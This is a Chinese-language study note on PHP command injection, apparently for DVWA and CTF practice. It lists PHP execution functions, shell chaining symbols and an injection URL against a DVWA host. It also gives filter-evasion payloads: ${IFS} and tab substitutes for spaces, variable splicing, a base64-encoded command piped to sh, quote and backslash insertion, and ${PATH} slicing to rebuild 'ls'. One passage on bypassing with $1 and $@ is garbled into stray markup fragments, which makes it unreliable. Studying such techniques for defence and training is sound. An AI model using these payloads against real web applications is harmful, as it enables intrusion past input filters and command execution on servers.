| 介绍命令执行:一句话就是没有对用户的提交的数据进行过滤,导致通过一些系统命令获取了一些信息。 PHP命令执行的参数	 	1.system:执行系统命令,会输出
	 	例子:http://www.dvwa.com/cmd/test.php?cmd=||%20ipconfig
		2.exec:exec函数不会将执行后的结果输出,与system功能一样
		3.passthru:用于执行系统命令的,并且会将执行后的结果进行输出,主要运用于unix系统
		4.shell_exec:用于执行shell命令并将执行的结果以字符串的形式返回,但是不会将结果进行输出。
		5.popen:popen函数会将执行后的系统命令结果用一个文件指针的形式返回。
		6.proc_popen
		7.特殊符号--反引号“``”:也可以用来执行命令
 命令执行的几种常用的符号|,管道符:前面语句的输出作为后面语句的输入&:不管前面的语句的对否,后面的语句都要执行;:前面的语句和后面的语句依次执行||:只有当前面的语句否,后面的语句才会执行&&:只有当前面的语句真,后面的语句才会执行
 命令执行的基本绕过1.*** 空格过滤*** 			1.${IFS}   	替换
			2.$IFS$1  	替换
			3.%20		替换
			4.<和<>		替换
			5.%09		替换
			
 敏感字符过滤 
  利用变量拼接
 $a=l;$b=s;$a$b
拼接起来就是:ls(用来展示文件目录的)
 利用base64编码绕过
 Y2F0IGZsYWcucGhw|base64是cat flag.php的base64的编码echo Y2F0IGZsYWcucGhw|base64 -d|sh
 利用单引号,双引号,反斜线,
       
        
         
          
           1
          
          
           ,
          
         
         
          1,
         
        
       1,@等来绕过
 4.介绍一个内敛绕过	1.ca"t fl''ag
	2.ca\t fl\ag
	3.c$1at gh$@twf01.txt
 cat  `ls`:就是将所有的文件全部执行
 利用Linux的环境变量
 1. echo ${PATH}   ///usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
2. echo ${PATH:1:9}//usr/local
3. ${PATH:5:1}    //l
4. ${PATH:2:1}    //s
5. ${PATH:5:1}${PATH:2:1} //拼接后是ls,执行命令
6. ${PATH:5:1}s           //拼接后是ls,执行命令
利用的就是对字符串的拼接与截断
 参考文献https://songly.blog.csdn.net/article/details/108435956https://blog.csdn.net/JBlock/article/details/88311388(再看)http://blog.leanote.com/post/bowu/de8babf67fd8(再看)
 |